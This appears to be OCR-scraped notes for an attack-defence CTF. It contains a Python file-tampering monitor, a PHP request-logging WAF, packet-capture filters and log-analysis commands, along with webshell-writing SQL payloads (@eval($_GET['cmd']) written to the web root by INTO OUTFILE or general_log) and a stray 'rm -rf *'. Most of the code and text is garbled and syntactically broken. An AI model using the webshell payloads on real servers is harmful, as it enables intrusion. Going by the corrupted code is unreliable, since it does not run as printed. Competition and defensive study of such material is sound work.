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rm -rf *
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PermitRootLogin yes
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PermitRootLogin no
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#service sshd restart
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cat /var/www/html/config.php
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mysql -u root -puse mysqlupdate user password = PASSWORD( ) where user ;flush privileges;
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$ip_prefix="ip”;
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CWD = os.getcwd()
FILE_MD5_DICT = {}
ORIGIN_FILE_LIST =[]

UNICODE_ENCODING
INVALID_UNICODE_CHAR_FORMAT

spec_base path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
: 0s.path.realpath(os.path.join(spec_base_ path, bakstring)),
: os.path.realpath(os.path.join(spec_base path, logstring)),
: 0s.path.realpath(os.path.join(spec_base path, webshellstring)),
: 0s.path.realpath(os.path.join(spec_base_path, difffile)),

def isListLike(value):
return (value, (

def getUnicode(value, encoding=None, noneToNull=False):

if noneToNull and value is None:
return NULL

if isListLike(value):
value (getUnicode(_, encoding, noneToNull) for _in value)
return value

(value,
return value
elif (value,
while True:
try:
return (value, encoding or UNICODE_ENCODING)
except UnicodeDecodeError, ex:
try:
return (value, UNICODE_ENCODING)




except:
value = value[:ex.start] Join(INVALID_UNICODE_CHAR_FORMAT
else:
try:
return (value)
except UnicodeDecodeError:
return (str(value), errors

def mkdir_p(path):

import errno

try:
os.makedirs(path)

except OSError as exc:
if exc.errno == errno.EEXIST and os.path.isdir(path):

pass

else: raise

def geffilelist(cwd):
filelist = []
for root,subdirs, files in os.walk(cwd):
for filepath in files:
originalfile = os.path.join(root, filepath)
if Special_path_str not in originalfile:
filelist.append(originalfile)
return filelist

def calcMD5(filepath):
try:
with (filepath,'rb") as f:
md5obj = hashlib.md5()
md5obj.update(f.read())
md5obj.hexdigest()
return
except Exception, e:
print getUnicode(filepath)
print getUnicode(e)
try:
ORIGIN_FILE_LIST.remove(filepath)
FILE_MD5_ DICT.pop(filepath, None)
except KeyError, e:
pass

def getfilemd5dict(filelist = []):
filemd5dict = {}
for ori_file in filelist:
if Special_path_str not in ori_file:
md5 = calcMD5(os.path.realpath(ori_file))
if md5:
filemd5dict[ori_file] = md5
return filemd5dict

def backup_file(filelist=[]):

for filepath in filelist:
if Special path str not in filepath:

() for _in value[ex.start:ex.end])

value[ex.end:]




shutil.copy2(filepath, Special_path[ )}

if __name__
print
for value in Special_path:
mkdir_p(Special_path[value])

ORIGIN_FILE_LIST = geffilelist(CWD)
FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
backup_file(ORIGIN_FILE_LIST)

print

while True:

file_list = geffilelist(CWD)

diff_file_list = list(set(file_list) * set(ORIGIN_FILE_LIST))
if len(diff_file_list) |= O:

for filepath in diff_file_list:
try:
f (filepath, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print getUnicode(filepath)
shutil. move(filepath, os.path.join(Special_path[ ], ntpath.basename(filepath)
except Exception as e:
print getUnicode(filepath)
try:
f (os.path.join(Special_path['log'], ), 'a’)
f.write( getUnicode(filepath) (time.ctime())
f.close()
except Exception as e:
print getUnicode(e)

md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
for filekey in md5_dict:
if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
try:
f (filekey, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print getUnicode(filekey)
shutil.move(filekey, os.path.join(Special_path[ ], ntpath.basename(filekey)
shutil.move(os.path.join(Special_path[ ], ntpath.basename(filekey)), filekey)
except Exception as e:
print getUnicode(filekey)
try:
f (os.path.join(Special_path[ ), 'a")
f.write( getUnicode(filekey) getUnicode(time.ctime())
f.close()
except Exception as e:
print getUnicode(filekey)
pass
time.sleep(2)
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import os
import re
import hashlib
import shutil
import ntpath
import time
import sys

(sys)
sys.setdefaultencoding(
CWD = os.getcwd()
FILE_MD5_DICT = {}
ORIGIN_FILE_LIST =[]

UNICODE_ENCODING
INVALID_UNICODE_CHAR_FORMAT

spec_base path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
: os.path.realpath(os.path.join(spec_base_ path, bakstring)),
: 0s.path.realpath(os.path.join(spec_base_ path, logstring)),
: 0s.path.realpath(os.path.join(spec_base path, webshellstring)),
: 0s.path.realpath(os.path.join(spec_base_path, difffile)),

def isListLike(value):
return (value, (

def getUnicode(value, encoding=None, noneToNull=False):

if noneToNull and value is None:
return NULL

if isListLike(value):
value (getUnicode(_, encoding, noneToNull) for _in value)
return value

(value,
return value
elif (value,
while True:
try:
return (value, encoding or UNICODE_ENCODING)
except UnicodeDecodeError, ex:




return (value, UNICODE_ENCODING)
except:
value = value[:ex.start] Join(INVALID_UNICODE_CHAR_FORMAT (L) for _in value[ex.start:ex.end]) + value[ex.end:]
else:
try:
return (value)
except UnicodeDecodeError:
return (str(value), errors

def mkdir_p(path):

import errno

try:
os.makedirs(path)

except OSError as exc:
if exc.errno == errno.EEXIST and os.path.isdir(path):

pass

else: raise

def geffilelist(cwd):
filelist = []
for root,subdirs, files in os.walk(cwd):
for filepath in files:
originalfile = os.path.join(root, filepath)
if Special_path_str not in originalfile:
filelist.append(originalfile)
return filelist

def calcMD5(filepath):
try:
with (filepath,'rb') as f:
md5obj = hashlib.md5()
md5obj.update(f.read())
md5obj.hexdigest()

return

except Exception, e:
print getUnicode(filepath)
shutil.copyfile(os.path.join(Special_path[ ], ntpath.basename(filepath)), filepath)
for value in Special_path:
mkdir_p(Special_path[value])
ORIGIN_FILE_LIST = getfilelist(CWD)
FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
print
try:
f (os.path.join(Special_path['logT,
f.write( getUnicode(filepath) getUnicode(time.ctime())
f.close()
except Exception as e:
print getUnicode(filepath)
pass

def getfilemdSdict(filelist = []):
filemdSdict = {}
for ori_file in filelist:
if Special_path_str not in ori_file:




md5 = calcMD5(os.path.realpath(ori_file))
if md5:
filemd5dict[ori_file] = md5

return filemd5dict

def backup_file(filelist=[]):
for filepath in filelist:
if Special_path_str not in filepath:
shutil.copy2(filepath, Special_path[ )}

if _name__
print
for value in Special_path:
mkdir_p(Special_path[value])

ORIGIN_FILE_LIST = geffilelist(CWD)
FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
backup_file(ORIGIN_FILE_LIST)

print

while True:

file_list = geffilelist(CWD)

diff_file_list (set(file_list) (ORIGIN_FILE_LIST))
if len(diff_file_list) != 0:
for filepath in diff_file_list:
try:
f (filepath, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print getUnicode(filepath)
shutil.move(filepath, os.path.join(Special_path[ ], ntpath.basename(filepath)
print
except Exception as e:
print getUnicode(filepath)
try:
f (os.path.join(Special_path[ 1,
f.write( getUnicode(filepath) (time.ctime())
f.close()
except Exception as e:
print getUnicode(e)

md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
for filekey in md5_dict:
if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
try:
f (filekey, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print getUnicode(filekey)
shutil. move(filekey, os.path.join(Special_path[ ], ntpath.basename(filekey)
shutil.copyfile(os.path.join(Special_path[ ], ntpath.basename(filekey)), filekey)
print

except Exception as e:




(os.path.join(Special_path['log],
f.write( getUnicode(filekey) getUnicode(time.ctime())
f.close()
except Exception as e:
print getUnicode(filekey)
pass
time.sleep(2)

<?php

error_reporting(0);
define(

function waf() {

if (!function_exists( ) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) ) $headers[str_replace(' ', '-', ucwords(strtolower(str_replace(' ', ' ', substr($name, 5))))) ] = $valu

}

return $headers;

ki

$get = $_GET;

$post = $_POST;
$cookie = $ COOKIE;
$header = getallheaders();
$files = $_FILES;

$ip = $_SERVER][
$method = $_SERVER[
$filepath = $_SERVER][

foreach ($_FILES as $key => $value) {
$files[$key][ ] = file_get contents($_FILES[$key][
file_put_contents($_FILES[$key][ 1, );
ki
unset($header]| D;
Sinput = array(
$get,
$post,
$cookie,
$files,
$header

$pattern
$pattern
$pattern
$pattern
$vpattern = explode("|", $pattern);
$bool = false;
foreach ($input as $k => $v) {
foreach ($vpattern as $value) {
foreach ($v as $kk => $wv) {
if (preg_match("/$value/i", $vv)) {
$bool = true;
logging($input);
break;




ki
ki
if ($bool) break;
b
if ($bool) break;
ki

}

function logging($var) {

date_default_timezone_setf(
$time=date( );
file_put_contents(LOG_FILENAME, print_r($var, true) , FILE_APPEND);

root# [

vim php.iniauto_append_file # Jii Apache 23 php-fpm /usr/local/sbin/apachectl graceful

THALL
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Logical expressions CGEHIEZH ) :
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and && Wi

or | *2 &4y

xor M Z i 78
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(1) ip.addr == 192.168.1.1 // R 7=/ H 1)IP4192.168.1. 11 Z#51 ip.src == 1.1.1.1 //AB7RIEIPA1.1.1. 1 B3R £(3) ip.src == 1.1.1.1
ip.dst == 1.1.1.2 // R 7R UEIPA 1.1 148 H 1P A 1.1.1. 21 £

(1) tcp.port eq 80 #4~ 5 ity I & >KIFIE /& H AR T 7~ 801 11 (2) tep.port == 80(3) tcp.port eq 2722(4) tep.port eq 80 or udp.port eq 80(5) tcp.dstp
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1) http.request.method == “GET”(2) http.request.method == “POST”(3) http.host mathes “www.baidu.com|baidu.cn” #matchesn] LA 5 £ A~ 44 (
4) http.host contains “www.baidu.com” #contain X i8¢ 5 —~44 (5) http contains “GET"#1#1: http.request.method ==“GET” && http contains
http.request.method “GET” http contains http.request.method =="POST” http contains http.request.metho
d == “POST” http contains http contains “HTTP/1.1 200 OK” http contains http contains “HTTP/1.0 200 O
K’ http contains
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tcodump -i ens33 net 192.168.1.1tcpdump -i ens33 src net 192.168.1.1 #JF i I tcpdump -i ens33 dst net 192.168.1.1 #H (1) I

e 3
tcpdump -i ens33 arptcpdump -i ens33 iptcpdump -i ens33 tcptcpdump -i ens33 udptcpdump -i ens33 icmp

£ 25
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731 . pcapH 44 5 il FHwireshark 73 #r

tcpdump -w 1.pcap #INT A ff

S
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system( $ GET $ GET

phpmyadmin

H 5 A\ shellft #: 1E

Bl HdER S tHishell CREATE TABLE ‘mysql™.’shadowd" (‘content” TEXT NOT NULL ); INSERT INTO “mysql".’shadowd" (‘content’ ) VALU

ES (‘<?php @eval($_GET['cmd']);?>"); SELECT "content’ FROM “shadow9’ INTO OUTFILE ‘/etc/html/www/./1.php’; DROP TABLE IF EXISTS
‘shadow9’;

—4) 1% 5 H shell

select "<?php @eval($_POST['cmd']);?>" into outfile '/var/mww/html/.a.php' set global general_log="on'

H &% 17 3k i shell

show global variables like . /[&figeneral_loght & global general_log ; /177 )5 general log#s=X SET global general_lo
17#1% SELECT $ GET['cmd ;. llphpinfo()5 N\ H &304 set global ge

I/var/log/secure | awk $13}'|sort|uniq -c|sort -nr

P 2 Ik P 44

grep Ivar/log/secure | awk $11}'|sort|uniq -c|sort -nr
BEEF I H P L Kip

grep Ivar/log/secure [awk $0}'[sort|uniq -c|sort -nr

K

1.5 Mrssh5 iy MySQL %64 I+ %1

2.4 rhtmiZ A 5 MySQLE R
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sudo apt-get install tofrodosfromdos X4

Centosfift ¥t J5 i

yum -y install dos2unixdos2unix {44

L 5

FRVIMITIFRIASCRE, 8 R0 T fag A set ff=unix|sl 4= {RA7 301
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set ff=unix , F e UF vim gnkEas, 8 Hunixdf T &7
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